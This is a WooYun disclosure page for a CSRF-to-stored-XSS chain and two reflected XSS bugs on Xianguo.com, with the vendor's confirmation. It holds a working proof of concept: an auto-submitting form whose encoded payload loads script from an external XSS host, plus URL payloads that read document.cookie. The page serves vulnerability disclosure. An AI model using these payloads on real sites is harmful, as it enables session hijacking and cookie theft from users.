当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-015245

漏洞标题：鲜果网通过CSRF种植XSS，外带几个反射性

相关厂商：鲜果网

漏洞作者： imlonghao

提交时间：2012-11-25 13:15

修复时间：2013-01-09 13:16

公开时间：2013-01-09 13:16

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-11-25： 细节已通知厂商并且等待厂商处理中
2012-11-26： 厂商已经确认，细节仅向厂商公开
2012-12-06： 细节向核心白帽子及相关领域专家公开
2012-12-16： 细节向普通白帽子公开
2012-12-26： 细节向实习白帽子公开
2013-01-09： 细节向公众公开

简要描述：

可惜..位置不太好........

详细说明：

问题出在订阅管理上，很明显的用UNICODE后的代码新建一个目录就OK了~~
可惜位置就是不太明显，就看怎么利用了。。
于是就想到了组合CSRF进行植入XSS代码。
于是乎，见漏洞证明。
--------------------
大概想到的利用方法：
用户访问挂马页
|
CSRF新建一个XSS目录
|
JS重定向到http://xianguo.com/my/feeds 触发
（貌似我没找到删除这个目录的地方，你怎么看）

漏洞证明：

xianguo.html

<html>
<body>
<form id="imlonghao" name="imlonghao" action="http://xianguo.com/rssreader?method=Actor.addFolder" method="post">
<input type="text" name="params" value="&#123;&#34;&#102;&#111;&#108;&#100;&#101;&#114;&#78;&#97;&#109;&#101;&#34;&#58;&#34;&#92;&#117;&#48;&#48;&#50;&#50;&#92;&#117;&#48;&#48;&#51;&#69;&#92;&#117;&#48;&#48;&#51;&#67;&#92;&#117;&#48;&#48;&#55;&#51;&#92;&#117;&#48;&#48;&#54;&#51;&#92;&#117;&#48;&#48;&#55;&#50;&#92;&#117;&#48;&#48;&#54;&#57;&#92;&#117;&#48;&#48;&#55;&#48;&#92;&#117;&#48;&#48;&#55;&#52;&#92;&#117;&#48;&#48;&#50;&#48;&#92;&#117;&#48;&#48;&#55;&#51;&#92;&#117;&#48;&#48;&#55;&#50;&#92;&#117;&#48;&#48;&#54;&#51;&#92;&#117;&#48;&#48;&#51;&#68;&#92;&#117;&#48;&#48;&#54;&#56;&#92;&#117;&#48;&#48;&#55;&#52;&#92;&#117;&#48;&#48;&#55;&#52;&#92;&#117;&#48;&#48;&#55;&#48;&#92;&#117;&#48;&#48;&#51;&#65;&#92;&#117;&#48;&#48;&#50;&#102;&#92;&#117;&#48;&#48;&#50;&#102;&#92;&#117;&#48;&#48;&#55;&#56;&#92;&#117;&#48;&#48;&#55;&#51;&#92;&#117;&#48;&#48;&#55;&#51;&#92;&#117;&#48;&#48;&#54;&#53;&#92;&#117;&#48;&#48;&#55;&#50;&#92;&#117;&#48;&#48;&#50;&#101;&#92;&#117;&#48;&#48;&#54;&#100;&#92;&#117;&#48;&#48;&#54;&#53;&#92;&#117;&#48;&#48;&#50;&#102;&#92;&#117;&#48;&#48;&#53;&#56;&#92;&#117;&#48;&#48;&#53;&#56;&#92;&#117;&#48;&#48;&#52;&#54;&#92;&#117;&#48;&#48;&#53;&#52;&#92;&#117;&#48;&#48;&#55;&#50;&#92;&#117;&#48;&#48;&#52;&#101;&#92;&#117;&#48;&#48;&#51;&#69;&#92;&#117;&#48;&#48;&#51;&#67;&#92;&#117;&#48;&#48;&#50;&#102;&#92;&#117;&#48;&#48;&#55;&#51;&#92;&#117;&#48;&#48;&#54;&#51;&#92;&#117;&#48;&#48;&#55;&#50;&#92;&#117;&#48;&#48;&#54;&#57;&#92;&#117;&#48;&#48;&#55;&#48;&#92;&#117;&#48;&#48;&#55;&#52;&#92;&#117;&#48;&#48;&#51;&#69;&#34;&#125;" />
</form>
<script>
	document.imlonghao.submit();
</script>
</body>
</html>


1.png


2.png


3.png


两个反射，很疑惑为什么你们没有扫出来？

http://xianguo.com/search?searchType=all&keyword=88952634 keyword=88952634 "><script>alert(document.cookie);</script>


http://xianguo.com/passport/widget-login?rurl=%2Fservice%2Fsubmitfav%2F%3Flink%3Dhttp%253A%252F%252Fblog.xianguo.com%252F2008%252F02%252F25%252F0220-talk-about-rss-115.html%26title%3D%25E9%25B2%259C%25E6%259E%259C%25E6%2597%25A5%25E5%25BF%2597%2520%25C2%25BB%2520Blog%2520%25E5%25AD%2598%25E6%25A1%25A3%2520%25C2%25BB%2520%25E9%25B2%259C%25E6%259E%259C%25E5%2588%259B%25E5%25A7%258B%25E4%25BA%25BA%25E8%25B0%2588RSS%25E7%259A%2584%25E5%258F%2591%25E5%25B1%2595%2520link%3Dhttp%253A%252F%252Fblog.xianguo.com%252F2008%252F02%252F25%252F0220-talk-about-rss-115.html "><script>alert(document.cookie);</script>


4.png


5.png

修复方案：

过滤等等等等等等等等等等等等等等等等等等等等等等等等等等等等等

版权声明：转载请注明来源 imlonghao@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2012-11-26 14:05

厂商回复：

感谢@imlonghao 反馈，这些问题，我们之前处理的比较草率。 会加强这方面的处理。

最新状态：

暂无

漏洞评价：

评论